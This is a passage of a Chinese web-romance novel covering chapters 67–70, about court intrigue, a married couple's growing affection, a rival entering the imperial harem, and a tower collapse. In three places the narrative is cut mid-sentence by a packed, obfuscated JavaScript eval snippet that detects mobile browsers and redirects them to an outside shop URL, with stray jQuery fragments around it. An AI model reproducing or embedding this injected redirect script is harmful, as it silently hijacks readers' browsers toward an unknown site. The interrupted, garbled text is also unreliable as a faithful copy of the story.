周简心中发苦,他也不知道女儿会这么狠啊!何况那陈氏不是好端端的吗,反而是他们武安侯府,个个鼻青脸肿,满府上下,找不出一块好肉。 但这个话他不敢说出来,连连称是道:“是,老臣一定,一定好好保护陈……陈姑娘。” 他到底不甘心,上眼药道:“陛下,依老臣看,这陈姑娘,已成了李济的人。陛下您想,李济若是不在乎她,怎么会对武安侯府出手?她要是不在乎李济,又怎会几次帮着镇国公府……” 皇帝越听,面上乌云越是密布。武安侯正得意,却听得皇帝道:“你还有脸提这事?若不是你向朕出的馊主意,怎会有今日这局面?” 武安侯算是皇帝的岳父,陈进是皇帝的舅父,虽然都是外戚,但他们可从来不是什么朋友。陈进其人,脾气就像茅坑里的石头,又臭又硬,有时候激动起来连皇帝都敢骂,何况他呢!有时候他向陛下建言,若是被陈进知道又不合其意见,陈进能追着他骂九条街,把口水全喷到他脸上还未必肯罢休。 好几次,他的好事就这么被搅黄了。 前两年,陈进搅合进前御史中丞王定殿前失仪一案,非要为王定说话,惹得陛下大怒,被贬出了京城,他这才算过了两年清净日子。 但陈进毕竟是陛下的亲舅父,两年过去,陛下忘了陈进的聒噪,又将陈进调入京城。如此一来,他做事便处处掣肘,十分不便。 听说陈进十分疼爱其长女,他便想了个法子,让陛下下旨将陈进的长女赐婚给李济,陈进疼爱女儿,因为此事必然对陛下心生不满,进而言语冲撞;而陛下多疑,若是李济死了便罢,若李济不死,就算婚是他自己亲赐,天长日久也必然对陈进生疑。 如此,一出离间计就算成了,到时两厢不满,陛下就算留陈进一命,也必然会将他再次贬出京城。 此计可谓一箭双雕,是武安侯的得意之作。 但谁也没有想到,陈进会行偷龙转凤一事,将长女换成了次女。 自换人以后,意外频生,以致于陛下不但恼陈进,对他也颇有怨言。 武安侯暗暗叫苦,他怎么忘了这一茬! 忙苦着脸道:“陛下,老臣看好的原是陈大姑娘,老臣着实没想到,陈进会胆大包天地把人换了。所谓牵一发而动全身,陛下,这根源,都在不听圣旨的陈大人身上……” 皇帝脸阴沉沉的,看着他的目光如箭,好一会儿,恨恨地拂袖坐下。 过了一会儿,武安侯见皇帝怒气渐消,试探道:“陛下,李济那边……” 他今日是来告状的,眼下状还没告成,差点惹了一身腥,这叫他如何甘心。 皇帝道:“你有何证据?” 武安侯道:“陛下,这件事就是李济干的,除了他,还会有谁如此痛恨老臣?谁又会如此胆大妄为、丧心病狂?陛下,老臣……” “没有证据,朕又能拿他如何?” 武安侯:“……” …… 张郎中的夫人得到丈夫的消息后便给陈灵珠投了拜帖,次日便登了门。 她颇有些讪讪,陈灵珠对她却很是欢迎,亲自将她领到一处客房,然后为她施针。送走了张夫人,陈灵珠慢慢地走回梅林上筑,还没进门,便闻到一股羊肉的香味。走到月洞门前,见到一个烤架放在屋檐下,上面叉着一只肥羊。 肥羊旁边站着两个人,一个是满头大汗的阿拙,另一个是灰头土脸的李济。 阿拙见了她,热情招呼道:“少夫人,您快过来,特意为您烤的,您闻闻,香不香?” 今日天气虽然已经凉了很多,但此时正是日中,阿拙烤得一头一脸的汗。 她不由好笑:“阿拙,你这是烤羊还是烤人?这个时候烤羊,傻不傻呀。” 阿拙嘿嘿直笑,转头看向世子。 不是他傻,是世子傻。他跟世子说过,此时不适合烤羊,不如等晚点再说,世子却不肯,非要立刻就烤,他有什么办法呢。 看看,被他说中了罢,少夫人果然笑话他们。 李济望着她笑了笑,净了手,用小刀切了块最肥美的肉,放到一个小碟子,递给她。 “我烤的。” 陈灵珠看着他。 这个人满脸通红,一头一脸的灰,脸上还留有两道黑炭的印子,与平日衣冠楚楚的模样大相径庭。 阿拙将一碗萝卜丝捧了上来,笑呵呵的:“少夫人,您吃烤羊肉配上这个,绝妙!这也是世子亲手做的!” 陈灵珠转身便走。 李济:“……” 阿拙:“……” 他低声咕哝:“世子,小人就说这样子实在太傻了,少夫人看不上!” 知道了,不必再说了。 主仆俩一个捧着羊肉,一个捧着萝卜丝,大眼瞪小眼。 陈灵珠行至东院门槛前,停住,然后回头道:“还不快送过来?我可不想跟你们一样傻,站在院子里吃东西!” 峰回路转,主仆二人不禁心花怒放,忙将东西送到东院次间。 陈灵珠坐定,慢慢地吃着烤羊肉,李济坐在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16894716|190011||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 旁边,一边用刀将羊肉割成小片,一边留意着她,看她吃完一片赶紧递一片,比丫鬟还周到。 痛快地用了一餐烤肥羊,陈灵珠满足地叹了口气,过去这一段时日的纠结和痛苦,好像都随着这肥羊的下肚远去了。虽然危机远远没有解除,但管它呢,李济都不慌,她慌什么。 这时,阿拙兴冲冲地跑了进来,左提一件,右拿一沓,细看,都是李济之物。 她侧了侧头,挑眉看向李济。 李济一时有些尴尬,阿拙拿东西也太快了些,他还没跟她说好呢。然而不拿都拿了,他只好笑道:“西院……” 他想找个借口,譬如西院漏水,譬如西院要修整,但搜肠刮肚半日,最后还是直接道:“我想到东院来住,少夫人可愿收留我?” 陈灵珠没说话,还是那样看着他。他只好道:“我一个人住西院太孤单了。” 虽然他跟陈灵珠一起住的时间也不长,除了亲亲抱抱还什么也做不了,但他就是想跟她在一起。 陈灵珠将眉挑得更高,就在他担心她扔出一句“那你跟阿拙住去”的时候,她的眉梢总算逸出一丝笑意来,他悄悄松了口气,立即便跟阿拙道:“少夫人答应了,快把东西都搬过来。” 动作要快,他怕她反悔。 奶娘、紫苏、茯苓三人见世子今日这番举动,早就偷偷捂嘴笑,此时见少夫人没出声反对,忙帮着归置世子的物什。 很快,一切妥当,奶娘给众丫鬟和阿拙使了个眼色,众仆快速退了下去。 陈灵珠瞥他一眼,道:“你就不怕别人笑你?” 李济道:“不怕。为夫从来不怕别人的笑话,只怕珠儿恼我。” 又道:“珠儿,多谢你救了我。” 陈灵珠不解,他便将楚大夫告诉他的话说了一遍。 她不由好笑,师父的话实在言过其实,便道:“我只是试一试罢了,是不是与我有关还不一定,你不必在意。” 他道:“你不在意,我却不能视为理所当然。滴水之恩当以涌泉相报,何况是可能的救命之恩,为夫不能做一个忘恩负义之人。” 她笑道:“好罢,你要如何报答我?” 他认真考虑了一番,然后才道:“除了做牛做马、衔环结草、执鞭坠镫之外,也只能以身相许了。” 陈灵珠:“……” 她就知道这登徒子不会说出什么好话来,提醒他:“若说救命之恩,你昨日也救了我,我们算是互相抵消了。” 他笑道:“救命之恩岂能抵消?既然你救了我,我又救了你,我们互相以身相许也就是了。” 他眸色渐深,低声道:“你不想许也已是迟了,为夫是定要许的。” 说着,他将她拥入怀中,轻轻含住她两瓣柔软的唇,然后渐渐加深,将爱意、感激和欢喜都揉进这个隔了一段时日的热烈的吻里。 她被吻得云里雾里,待分开时,气息都有些不稳。 她有些不好意思,找茬道:“但凡是救命之恩,夫君都要以身相许吗?” 他轻笑一声,道:“凡事都要讲个先来后到,我已经许了你了,如何还能许给他人?” 这话说得要是她来迟了,就没她什么事儿似的,她不满地看着他,他笑着捏了捏她的鼻子道:“傻珠儿,为夫若是愿意,早就许出去千百回了。” 除了陈灵珠,他不曾被谁所救,但他救下的人不知凡几,其中不少是女子。有些女子曾哭着喊着要以身相许,但他从来没想过,也绝不允许她们胡乱相许。 “愿意让为夫以身相许的,只有你一人。” 他轻笑,又吻住她,忽而又止住,道:“你做大夫,以后想必会救很多的人,你千万小心那些登徒子借着你的救命之恩纠缠不清!” 陈灵珠:“……” 她看着李济,忍不住哈哈大笑了起来。 李济话一出口就反应过来,这说的不正是他自己? 他有些讪讪,但他作为她的丈夫,本就不必与那些人相提并论,遂捧着她的脸,逼她道:“快说你也只许为夫一人。” 陈灵珠的脸被挤得变形,仍咯咯笑个不停,他无法,又低头将她吻住。 “为夫只当你答应了。”良久,他放开她,心满意足道。 68. 第 68 章 武安侯府马儿发狂,将侯府几乎踩成废墟的事传了出来,百姓大多听了当个谈资也就过去了,但杨绾柔,却因此而睡不着。 南光寺那一伙人虽不是她安排的,但此事,她也曾出谋献策。甚至,陈灵珠要去南光寺的行踪还是她千方百计打探到,然后告诉周凝萱的。 本以为此事万无一失,就是有事也有周凝萱和武安侯府顶着,可如今看来,周凝萱和武安侯府也顶不住。 武安侯府有权有势尚且如此,他们杨府无权无势,且不说镇国公府会怎么做,万一被她的父兄知道了,以她父兄的尿性,为了不连累他们自己,只怕会先把她绑了,交给镇国公府出气。她越想便越是心惊害怕,因她躲在背后,镇国公府一时没能查到她身上,万一他们继续查下去,她还能有好果子吃? 这两日她也不敢出门,待在自己院子里绞尽脑汁地想对策。想了两日,她终于下定了决心,去正院找她的母亲金氏。 她屏退下人,坐到金氏旁边,跟她的母亲道:“娘,我想进宫,当陛下的女人。” 金氏一愣,拔着算盘的手指停住,“你说什么?” 杨绾柔咬了咬牙,把事情说了。 “娘,事到如今,我也是没有办法了。女儿想着,不如进宫去,一来,就算之后李济知道了什么,也鞭长莫及,二来,女儿也能搏一搏前程,创出一片天来。” 金氏这才知道女儿做了什么,她想怪女儿鲁莽,可事已至此,埋怨也是无用。 “你呀。”她叹道。 女儿的想法也有道理,只是进宫一事还需斟酌。 成为宠妃听起来诱人,可是陛下的后宫嫔妃极多,其中最不缺的就是美人,她的女儿虽然容貌不俗,可也未必能得陛下青眼。 “后宫嫔妃虽多,可是她们都没有生出孩子,这便是女儿的机会。” 陛下无子,她若能生出小皇子,便可一飞冲天。 到时候,什么李济,什么镇国公府,就都不算什么了,至于陈灵珠、陈灵瑛、李照芙、周凝萱等人,都将匍匐在她的脚下,任她生杀予夺。 金氏还是有些犹豫,女儿虽然青春健壮,可是也不是一定能生出孩子来的,陛下嫔妃多却无子,她想,或许与后宫的妃嫔们无关,而与陛下有关…… 她不敢多想,赶紧止住自己这胆大妄为的想法,劝道:“柔儿,娘知道你有成算有计谋,可深宫寂寞,娘是怕你后悔。” “娘,我不进宫,大概只能进牢狱了。”杨绾柔流下一行泪:“到时候,可就不止是寂寞了。不只是我,还有娘您,还有哥哥和爹爹,只怕都要被李济所害。” 金氏叹了口气,若是真被镇国公府发现了什么,她也没信心可以护住女儿。想个女儿找个婆家庇护,莫说整个京城没有几家比镇国公府更有权势,就算有,一时又哪里来得及? “但陈灵珠毕竟是陛下的亲戚,陛下若知道你对她做的事,未必不会帮她出气。” 杨绾柔摇头,“娘放心,陈灵珠虽是陛下的表妹,但与陛下并没有什么交情。” 因着陈进只疼爱陈灵瑛的关系,陛下与皇后也只与陈灵瑛亲近,据她所知,就算是赏赐,宫里也不会多赏一件给陈灵珠。 倘若不是陈灵珠被陈进嫁给了李济,只怕陛下都未必能想起还有这么个表妹。 “可如今她是李济的人,娘担心,万一李济知道了你做的事,陛下看在李济的面子上处置你,那又如何是好?” 杨绾柔道:“如今也是顾不得了,女儿想着,女儿成了陛下的女人,李济总要顾忌三分,就算查出来了,至少也要先经过宫里,总比如今这样,随时可以冲到咱们府里来把女儿抓去的好。” 她实在是太害怕了,怕得连日做噩梦,想来想去,世上最能阻挡李济的,便是陛下了。 她母亲没有说话,皱着眉头思忖。女儿的想法也有道理,进宫虽然不是一定能护女儿和伯府周全,但至少是有机会的。何况如果女儿真能得宠,甚至生下一男半女,那不仅所有的危机都能迎刃而解,还能带着他们一家人飞黄腾达。到时候,还怕镇国公府怎的? 无论如何,都比现在坐以待毙的好。 只是选秀刚过,想进宫并非易事。 杨绾柔早有打算,道:“娘,这件事,我们去找陈灵瑛和杜氏。” 找陈家帮忙,确是一条可行之路,事不宜迟,金氏马上带着杨绾柔来了陈府。 听杨绾柔说居然想进宫,陈灵瑛颇为惊讶。 “阿令,陛下的后宫佳丽三千,你可能得宠,但也有可能孤零零地老死宫中,你确定要这么做?” 在陈灵瑛心中,进宫并不算一条好的出路。宫里的美人不计其数,陛下今日宠这个,明日便可能爱另一个,所以尽管她自己称得上近水楼台,却从未有过这般想法。 她知道这个表妹心气高,总是想着要嫁入高门,可是宫里岂是好去的地方? 但她劝了杨绾柔一通,杨绾柔却不为所动,含着眼泪求她道:“表姐,你就帮帮我罢。” 她叹了口气,答应下来。 另一边,金氏将来意对陈夫人说了出来,想让她帮忙。 陈夫人暗自斟酌,前些时日因为镇国公府的事,陛下对丈夫颇为不满,连带着皇后对她们这些女眷也不似从前热络,这个时候要她给陛下的后宫塞一个人,也不知帝后会怎么想。她言辞间便有些推拒,想让杨绾柔走正常采选的路子。 然而正常采选要在两年后,杨绾柔哪里等得及,金氏便极力劝劝说陈夫人帮忙,可杜氏话说得漂亮,就是不肯松口。 金氏不禁有些恼火,这杜氏,平时看她倒是个好拿捏的,没想到这点小忙都不帮。这时,陈灵瑛带着杨绾柔进来了。 看到陈灵瑛,金氏便放下了心。 果然,陈灵瑛求陈夫人道:“阿娘,你就帮帮阿令罢。” 杨绾柔也福身求陈夫人道:“请姑母看在表姐的份上帮帮阿令!” 陈夫人心里暗嗤,这母女俩屡屡通过陈灵瑛达到目的,便以为利用陈灵瑛就可拿捏她,真是可笑。 她们不知,很多时候,她也只是顺水推舟罢了。 不过,杨绾柔颜色娇美,如今陛下正恼丈夫,若是她给陛下献上杨绾柔这样一个美人,有杨绾柔在陛下面前美言,陛下是否会就此消气呢? 沉吟了一会儿,她作出无可奈何的模样道:“罢,我问问老爷,若他也同意,我便带着阿令进宫一趟罢,只是成与不成,还要看陛下和皇后娘娘的意思。” 杨绾柔与金氏大喜,金氏笑道:“只要妹妹开口,没有不成的。” 晚上,陈夫人便跟丈夫说了杨绾柔的事,陈进想了想,同意了。 陈夫人便向宫里递了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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她进宫的目的显而易见,但皇帝不在乎,毕竟,荣华富贵谁不想要呢。若她能达成目的,那也是她的本事。 皇帝本人是希望她,或者说,希望这宫里的任何一个女子能达成所愿的。 他太需要一个皇子了。 从他初试云.雨开始,至今已经十余年,这十余年之中,似乎从未有过女子有孕。一开始固然是因为从前的太子妃,如今的中宫皇后未有所出才采取的手段,但后来…… 御医说他身体康健,子嗣方面不必忧心,但后宫就是迟迟未有嫔妃见喜。 他广纳后宫,固然是喜欢美色,但更多的,也是为了子嗣的缘故。 但他纳的美人越多,似乎越证明了他在子嗣上的无能。 皇帝想着,猛然翻身而起,又努力了起来。 他一定要证明,他可以的。 次日清晨,侍了寝的杨绾柔按规矩去拜见皇后。 她收拾停当了,便在宫女的伴随之下,袅袅娜娜地往皇后的仁明殿而去。 皇后虽姗姗来迟,但对她很是和气,赏了她几件东西,让她以后好好服侍陛下,早日为皇家开枝散叶。 杨绾柔微笑着谢过皇后,到这时,她的心里才算稍稍定了下来。她暗自盘算,如今局面看起来不错,只要她能尽快怀上孩子,或者一直讨得陛下的欢心,她就能拿到属于自己的荣华富贵和权势。到那时,将陈灵珠、李济等人踩在脚下,反过来让他们看她的脸色,就不会再是梦。 69. 第 69 章 九月三十是张郎中孙儿张时娶亲的日子,李济和陈灵珠应邀赴约。 陈灵珠梳了一个绀绾双蟠髻,上以珍珠装饰,身着浅石青的窄衫,浅褚白花的裙子,朱红的披帛,看起来清新淡雅又不失隆重。 他看着她笑道:“吾妻美甚。” 她手挽披帛转了一个圈,歪头看他,投桃报李道:“夫君今日看起来也不错。” 李济今日着浅紫色袍,玉冠玉带,衬得他越发面如冠玉,英气逼人。 他笑了笑,将她轻轻拉过来,正了正头上的珠钗。 “你可知道,你与我越好,便可能对你越不利?” 她当然知道,但那又如何?于他们而言,她固然只是一颗棋子,可是他们把她视为一颗棋子安插进镇国公府的时候,可曾问过她,愿意不愿意?他们既然不曾问她,难道到了如今,还指望她这颗棋子处处考虑他们的心情?何况无论她怎么做,她的根本处境都不会改善,倒不如什么也不管,随自己的心意做事。 她没有说话,微微低了头,将脸埋在他的胸口。 他用两手端着她的脸,与她四目相对。 脸上的肉被挤到嘴角,她笑道:“别乱来,今日可是要见人的。” 他笑道:“为夫本来不曾打算做什么,但少夫人都这么说了,为夫要是不做点什么,岂不白担了这个虚名?” 说着便俯身下来,浅浅地尝了一阵子才意犹未尽地放开,牵起她的手,拉着她出门。 两人一人骑马,一人坐车,到了张家门前,李济先跳下马,将陈灵珠从马车里接了出来。两人的仪表实在出色,又是这样的身份地位,一出现,便理所当然地吸引了众人的目光。 李济能来,张郎中倍觉面上有光,热情地把他迎了进去,将他安排在上座。李济自然谦让一番,落座后,才发现下方的一张桌上坐着沈信。 略略一想,他就明白了,沈信与新郎官张时乃是同科进士,或许还是同窗,他应是张时的客人。 沈信也看到了他,略略一滞,便过来拱手道:“还未感谢李大人那日的慷慨相助。” 沈信看起来已好了许多,擦伤已不太明显,走路似也无大碍。 李济暗暗点头,如此,陈灵珠就不必为这个表兄担心了。他还礼道:“沈公子言重,沈公子是内子的表兄,本就是亲戚,又是为救内子才受的伤,区区举手之劳,不足挂齿。” 沈信推测,李济应是知道他和陈灵珠的过去的,但见面数次,李济对他这个情敌却始终以礼相待,并未因家世和官位而轻视于他。虽然,以他的敏锐,能感受到李济在与他暗暗较劲,然而这更证明了李济对陈灵珠的在意。 这个人的气量和胸怀,非自己能比。 沈信一时百感交集,又拱了拱手,这才回座。 不久开席,今日的新郎官张时身着新郎冠服,满面笑容地走了进来,从上而下,逐一敬酒。 洞房花烛夜,金榜题名时,人生之幸事,大抵不过如此了。 新郎官满面春风,不久走到颇有些强颜欢笑的沈信面前,不知跟他说了什么,沈信的笑容更勉强了。 若不是自己截了胡,今日这等春风得意的,该有沈信。 一时不知该同情沈信还是该为自己庆幸,李济缓缓地喝了一口酒。 陈灵珠则早被张郎中的夫人接了过去。 她先去看了新娘子,然后与张夫人一同出来,去招待女客的花厅。 她识人不多,本来以为会百无聊赖,不想很多小姐夫人都围了过来,待她极是热情。 本以为是因她身份的缘故,但那些夫人小姐口中说的,竟不是如此,她们有的谢她治好了她们自己或亲人的病,有些则谢她间接鼓励了她们去做一些从前想做而不敢做的事。 她的从医之路持续不到三月,有如此影响,是她万万没有想到的,不免又惊又喜,精神亦为之一振。 不仅如此,此次宴会中,她还重遇了她从前的一位挚友顾唯安。 顾唯安是陈灵珠跟着陈进外任余杭时,陈进属下一个通判的女儿。除了傅映瑶之外,她是过去这许多年,唯一一个不因陈灵瑛不喜欢她便不与她来往的人。 谈话中,陈灵珠得知,顾唯安也成了亲,嫁的是左金吾卫郎将魏谦。 “珠儿,我来了京城后,还给陈府递了帖子,但一直没有回音,后来才听说你嫁去了镇国公府……” 两人分别不过一年,竟都已各自成为人妇,说起来也有些感慨。 顾唯安谈及她的新婚夫婿时虽然面带羞涩,却难掩甜蜜,陈灵珠也为她高兴。 将分别时,顾唯安问她:“珠儿,我刚来京城,对这里的店铺不很熟悉,你可知道哪里有信得过的打铁铺?我夫君生辰快到了,我想送他一把剑。” 陈灵珠别的不知,但这件事岂能不知?当即把那间为李济打出一把好剑的打铁铺推给了顾唯安。 席散,陈灵珠上了马车,兴高采烈地跟他说起顾唯安和今日众夫人小姐们跟她说的话,李济含笑听着,不时颔首。 “夫君,祝姑娘说,她的母亲上次生病——” 马车忽然停住了。 她掀开帘子探出头问马上的李济:“夫君,怎么了?” 李济看着前方,陈灵珠顺着他的视线望去,见那武安侯高坐在一匹高头大马上,皮笑肉不笑地望着他们,看着让人十分不适。 她对这人实在厌恶,便放下帘子,闭上了车窗。 过了一会儿,那武安侯拱手高声道:“李大人,您先请,夫人先请。” 说着笑着让到了一旁,一副礼让的架势。 武安侯便一直这么笑着看镇国公府的马车过去,直到看他们走远,脸色才一变。 那日他被陛下责问后,他是百思不得其解,总觉得陛下反应过头了。 若说是表亲,可陛下姑表、姨表兄弟姐妹加起来,何止二三十个?那个刚成为秘书省校书郎的沈信,也是陛下的表亲,他可不曾见陛下对那沈信另眼相待。若不是那沈信确有几分才华,只怕这秘书省校书郎的位置还轮不到他。 就是同样是表妹的陈进那个最疼爱的长女陈灵瑛,陛下待她也不见如何特殊,对她好,也多半是看在陈进的面子上,否则,不会同意他的提议,下旨将她嫁给李济。 但陛下对这位嫁给李济的表妹似乎不同。 他左思右想,到今日再见到陈灵珠才算明白。 原来如此。原来如此。 他竟没看出来,陛下原来有这层心思,难怪知道这陈氏替其姊嫁到镇国公府之后,陛下有一段时间连带着对他也鼻子不是鼻子,嘴巴不是嘴巴的,当时他只以为是陈进抗旨不遵让陛下龙威受到了挑战,陛下迁怒,不想竟是这个缘由。 好险,好险哪,幸亏他女儿的谋算没有成功,这陈氏平安无恙,否则陛下只怕不会那么轻描淡写。 陈氏无关紧要,放过就放过了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16903407|190011||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在大事面前,武安侯不会不分轻重,他再叮嘱车里的女儿周凝萱道:“你万万不可再去招惹那陈氏,听到没有?” 周凝萱那日受了好大一场惊吓,还受了伤,心里恨极了李济和陈灵珠,本以为父亲能为她讨回公道,不想父亲最后灰头土脸地从宫里回来了,还将她骂了一顿,让她不许再动陈灵珠。她心里委屈,但她本就受了伤,父亲还让人看着她,镇国公府那边也防卫得紧,她也找不到机会以牙还牙。这也就罢了,刚才李济和陈灵珠就在车外,她却连打开车窗表示自己的愤恨都不能够。 她的伤比武安侯重些,此时还鼻青脸肿,嘴巴的豁口结痂未落,与平时相比犹如丑八怪。她一向爱美,又自诩是个难得的美人,遇到害自己变成这副尊容的人还不能算账,怎能不气?见父亲又说不许动陈灵珠的话,她心中烦躁,不耐烦道:“知道了!女儿知道了!” 嘴里说着,心里却越想越气,忍不住流下眼泪,用帕子去擦,却不小心碰到了伤处,疼得她龇牙咧嘴,无处发泄,只能将帕子使劲一扔。 武安侯叮嘱完女儿,又望向镇国公府的马车。 陈氏暂时不能动,但李济……他冷哼了声,神情渐渐变得阴狠。 回到镇国公府,陈灵珠就着李济的手跳下马车,低声道:“那武安侯倒是能屈能伸。” 李济默然点头。武安侯何止能屈能伸,他能讨得皇帝欢心,便是因为他口蜜腹剑,善于逢迎。 两人说话间进了二门,与二夫人正正相遇。 “哎哟,”二夫人笑道:“你们回来啦?哎哟哟,看济儿这贴心的模样。不过也是,灵珠做过大夫,可是让咱们镇国公府美名远扬,功劳大着呢。” 二夫人忍不住阴阳怪气,是因为陈灵珠行医一事,让她被几个平时就与她面和心不和的贵妇人冷嘲热讽,明里暗里说镇国公府门风有问题。 也就是她的女儿已经订了亲,否则,就算太夫人同意这荒唐事,她也要再大闹一场。 李济闻言皱了皱眉,看了看陈灵珠,然后对二夫人道:“夫妻之间,何须谈什么功劳?譬如二叔,也不是因为二婶有什么功劳才对二婶好的。” 说到她的丈夫对她好,二夫人难免得意,待小夫妻二人走远了才后知后觉地反应过来,李济这是在骂她!说她没有功劳! 她气得捂住胸口,这李济,娶了那个娘家弃子,如今都顶撞长辈了!亏他还是镇国公世子,当大官的人!规矩都到哪儿去了!她气不过,口中低声骂道:“我为镇国公府生了一儿一女,怎么不是功劳!难道都要像她一样,整日抛头露面,败坏门风,才算是有功么!” 这时,李海满身酒气,吊儿郎当地回来了,问他母亲:“娘在说什么?什么有功无功?” 二夫人:“……” 儿子今日回来得还算早,本来她应当高兴,但她方说自己生儿育女有功,儿子便以这样一幅模样出现,实在是打她的脸,见儿子脸上还有隐约的胭脂印子,她气得用手点儿子的额头,“又喝成这样,你就不能给你娘争点气!” 李海灵活地避开他母亲的手,打了个酒嗝,满不在乎道:“娘这话说的,我怎么不争气了?我只是喝点酒,也不曾去赌场,也不曾吃那些不该吃的药。咱们这样的人家,不败光家产就算争气,不给府里招祸就算有功了。娘别整日拿二弟跟我比,娘去那些青楼赌坊看看,看看你就知道了,娘你生了个多么好的儿子!” 二夫人:“……” 70. 第 70 章 过了几日,陈灵珠给一个堂婶看病回来,洗净了手正准备用膳,远处突然传来一声巨响,将梅林上筑的门窗都震得微微晃了晃。 她和屋内的奶娘等几人面面相觑后连忙出门张望。 只见东北方向一股巨大的尘雾升向空中,看情形应是什么东西塌了。 紫苏叫道:“啊呀!那个方向,难道是探月楼塌了?” 探月楼是陛下命工部所建,就在宫城的东北角。 陈灵珠一惊,李济自成了工部侍郎,便常常出门督造工程,今日他出门前隐约提过,今日要去的地方,好像就包括探月楼。 她的心砰砰直跳,叫快备车,她要去现场看一看。 奶娘和两个丫鬟也想到了世子,面色俱是一变。 陈灵珠冲出大门,见国公夫人也出来了,婆媳二人对望一眼,什么也不必说,赶紧上了各自备好的马车。 一路催马疾行,不多时来到探月楼附近,果然见楼塌了,外面围着一圈人,正在议论纷纷。 陈灵珠跳下马车就要往前冲,禁卫却将她们拦住,不肯让她们上前。 她只好道:“我是工部侍郎李大人的家眷,我的丈夫可在里面?他可安好?” 禁卫说他不知,楼刚刚才塌了,里面乱成一团,他也不知里面情形如何。 国公夫人这时也赶到,表明身份,想要进去看一看,禁卫还是不肯让她们过去,“夫人,不是我等不让你们进去,只是这楼还可能再塌陷,上面吩咐了,无关人等不可靠近。” 陈灵珠越发心急如焚,但也无可奈何,她踮起脚眺望,却只见一片废墟,什么也看不到。国公夫人还算冷静,让人赶紧去值事房看看,确定李济今日是否在此处。 不久下人回报,说今日世子确实来了探月楼。 死伤者一个一个地抬了出来,每抬出一个,陈灵珠与国公夫人便赶紧冲过去看。 本来禁卫还不让她们靠近,但陈灵珠说自己是大夫,可以帮伤者治伤,怕他们不信,举起医药包给他们看了看。 方才她虽心急,但也把医药包带出来了。 禁卫半信半疑,但这些抬出的人多数已经死了,就是不死也半死不活,便也由她折腾,不去管她。 李济迟迟没有消息,陈灵珠与国公夫人等望眼欲穿,想要看到李济出来,又怕他被抬出来。虽然知道他身有武功,也素来警觉,但若旁人处心积虑要害他,难免防不胜防。 此时,有死伤者的家属也赶了过来,死者家属见自己的亲人成了一具尸首,顿时放声恸哭,痛苦的嚎啕之声,让人闻之心碎。 陈灵珠一边给伤者做些能做的简单处理,一边也忍不住流下眼泪,为这些死伤者难过,也害怕李济成了他们中的一员。 奶娘勉强控制住自己颤抖的声音,安慰她道:“少夫人,世子吉人自有天相,定会没事的。” 陈灵珠也是这么安慰自己的,李济定然早有防备,不会那么容易便被害,可是他迟迟没有出来,到底怎么样了呢。 越等越心焦,正要设法进去看一看,这时,一个满身是灰的人从里面走了出来。 这个人满头满脸都是灰尘泥土,像个泥人,但陈灵珠一眼就认了出来。 “吴骏!” 她冲了过去,“世子呢?他在哪里?” 国公夫人也冲了过来,“济儿呢?他没事罢?” 吴骏道:“夫人,少夫人,世子无碍,如今在里头忙着,一时走不开。他怕你们担心,让属下先出来跟你们说一声。” 聪明如李济,自然能猜到她们在此。几人听了吴骏的话,大大地松一口气,国公夫人抚住胸口,道:“阿弥陀佛!” 奶奶等人也暗念菩萨保佑。 吴骏又道:“世子说,此处危险,请夫人和少夫人先行回去,待处理完一切,他自会回府。属下还有事忙,失陪。” 说完,他往东南去了,看样子应是要回工部。 国公夫人本是担心李济才过来的,如今知他安好,便放下了心。她知自己留在这里也是无用,便道:“如此,我们便先回去跟太夫人报个平安。” 陈灵珠却哪里肯走,她道:“母亲,此处还有伤者需要救治,官府又还未安排其他的大夫过来,我得留下。” 国公夫人见她不肯回去,想了想道:“也罢,你想留下便留下罢,可是要小心,离得远一点,待人抬出来,你再过去。” 陈灵珠自然满口答应,国公夫人便将人都给她留下,又说回府后会安排送些伤药过来。 国公夫人回去,陈灵珠便带着人给抬出的伤者治伤。死伤者太多,她一个大夫带着两个半桶水的丫鬟和其他什么都不懂的下人,根本忙不过来,好在李济很快有所安排,将附近医馆的大夫也调派过来了。 忙到将近天亮,名册中的人都被挖了出来,可是一百多人中只活了三十几人。 死者当中,包括前几日孙儿刚刚成婚的张郎中。 张郎中被抬出来时已经没了气,别的大夫看过,张夫人不肯死心,举目四望,见陈灵珠在为别的伤者治伤,忙爬起来拉陈灵珠过去:“陈大夫,你看看我家老头子,他还活着的,你看一看,他一定还活着的。” 张郎中已经不成样子了,显然身死已久,陈灵珠看了一看,对着张夫人轻轻摇了摇头。 “丈夫还活着”的那口气泄了,张夫人的哭声卡在喉咙里出不来,顿时双眼一翻,直直往后瘫倒。 陈灵珠与哭成一团的张家人一起将她扶到一旁,过了好一阵子张夫人才醒转,痛哭出声。 回想前几日,在孙儿张时的婚礼上,张郎中是何等欢喜,转眼间就与亲人天人永隔。 “节哀顺变”四字是何等的苍白无力,两耳都是恸哭之声,陈灵珠筋疲力尽地坐到角落的泥地上,将脸埋在掌心。 不知什么时候,李济来到她的身边,握住了她的手,靠着她坐下。 他应也是累极了,陈灵珠任他靠了一阵子,才抬起头看他。 